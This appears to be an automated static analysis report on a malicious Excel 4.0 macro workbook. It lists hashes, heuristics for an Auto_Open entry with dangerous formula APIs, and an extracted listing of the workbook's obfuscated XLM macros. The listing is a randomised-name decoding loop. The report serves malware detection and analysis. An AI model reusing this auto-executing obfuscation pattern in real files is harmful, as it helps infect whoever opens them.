Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 88ae322951ec15de…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:18 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 8abc3023c3be9a73870877fe50a4c843 SHA-1: 039c58abf25ca9893da66ce7d3680248519774f4 SHA-256: 88ae322951ec15de8db70f61094aadd456c53341cd0b8adac638ef09a184dda0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6767 bytes
SHA-256: e87436b08185d061ad412fae1e377265e9451606645413b2e9c9e9e774c20e36
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JbQfYXG
' 0018     25 LABEL : Cell Value, String Constant - APTNXaCPxx len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I181 
' 0018     24 LABEL : Cell Value, String Constant - cfsLEXjHj len=0 
' 0018     27 LABEL : Cell Value, String Constant - FpBNEiIPYEcq len=0 
' 0018     25 LABEL : Cell Value, String Constant - IUPwmKfuXr len=0 
' 0018     20 LABEL : Cell Value, String Constant - jgkcQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - jwqyUulVKRh len=0 
' 0018     27 LABEL : Cell Value, String Constant - kPPgBNFmkLeh len=0 
' 0018     23 LABEL : Cell Value, String Constant - KsLwpllj len=0 
' 0018     20 LABEL : Cell Value, String Constant - Kxsyg len=0 
' 0018     21 LABEL : Cell Value, String Constant - LcnVVo len=0 
' 0018     22 LABEL : Cell Value, String Constant - lrRzynN len=0 
' 0018     25 LABEL : Cell Value, String Constant - oDmkkOwurR len=0 
' 0018     26 LABEL : Cell Value, String Constant - OzygERrxJSq len=0 
' 0018     21 LABEL : Cell Value, String Constant - PCxlAG len=0 
' 0018     20 LABEL : Cell Value, String Constant - RaXxx len=0 
' 0018     27 LABEL : Cell Value, String Constant - tIgHyeOdGRWY len=0 
' 0018     21 LABEL : Cell Value, String Constant - UFmQKr len=0 
' 0018     27 LABEL : Cell Value, String Constant - vJEsaUohweng len=0 
' 0018     20 LABEL : Cell Value, String Constant - wRzpl len=0 
' 0018     20 LABEL : Cell Value, String Constant - YGvmw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JbQfYXG,P74,"",497.00000000000000000000
'  JbQfYXG,P75,"",720.00000000000000000000
'  JbQfYXG,P76,"",642.00000000000000000000
'  JbQfYXG,P77,"",739.00000000000000000000
'  JbQfYXG,P78,"",537.00000000000000000000
'  JbQfYXG,P79,"",602.00000000000000000000
'  JbQfYXG,I85,"SET.NAME("tIgHyeOdGRWY",0+VALUE("0"))",""
'  JbQfYXG,I89,"SET.NAME("RaXxx",tIgHyeOdGRWY)",""
'  JbQfYXG,I93,"SET.NAME("APTNXaCPxx",tIgHyeOdGRWY)",""
'  JbQfYXG,I98,"SET.NAME("jgkcQ",COUNTA(wRzpl))",""
'  JbQfYXG,I102,"SET.NAME("FpBNEiIPYEcq",COUNTA(cfsLEXjHj))",""
'  JbQfYXG,I105,[],""
'  JbQfYXG,I108,"SET.NAME("KsLwpllj","")",""
'  JbQfYXG,I113,"RaXxx",""
'  JbQfYXG,I117,"SET.NAME("LcnVVo",HLOOKUP("*",wRzpl,RaXxx,FALSE))",""
'  JbQfYXG,I121,"vJEsaUohweng",""
'  JbQfYXG,I125,"SET.NAME("kPPgBNFmkLeh",tIgHyeOdGRWY)",""
'  JbQfYXG,I130,[],""
'  JbQfYXG,I132,"kPPgBNFmkLeh",""
'  JbQfYXG,I137,"lrRzynN",""
'  JbQfYXG,I141,"UFmQKr",""
'  JbQfYXG,I143,"OzygERrxJSq",""
'  JbQfYXG,I145,"SET.NAME("jwqyUulVKRh",VALUE(HLOOKUP("*",cfsLEXjHj,OzygERrxJSq,FALSE)))",""
'  JbQfYXG,I150,"oDmkkOwurR",""
'  JbQfYXG,I154,"KsLwpllj",""
'  JbQfYXG,I159,"APTNXaCPxx",""
'  JbQfYXG,I161,NEXT(),""
'  JbQfYXG,I166,"YGvmw",""
'  JbQfYXG,I171,[],""
'  JbQfYXG,I173,"IUPwmKfuXr",""
'  JbQfYXG,I176,NEXT(),""
'  JbQfYXG,I178,RETURN(),""
'  JbQfYXG,I206,"SET.NAME("Kxsyg",I85)",""
'  JbQfYXG,I211,"wRzpl",""
'  JbQfYXG,I213,"SET.NAME("cfsLEXjHj",R47C12)",""
'  JbQfYXG,I217,"SET.NAME("IUPwmKfuXr",225)",""
'  JbQfYXG,I222,"SET.NAME("PCxlAG",9)",""
'  JbQfYXG,I224,Kxsyg(),""
'  JbQfYXG,I225,HALT(),""

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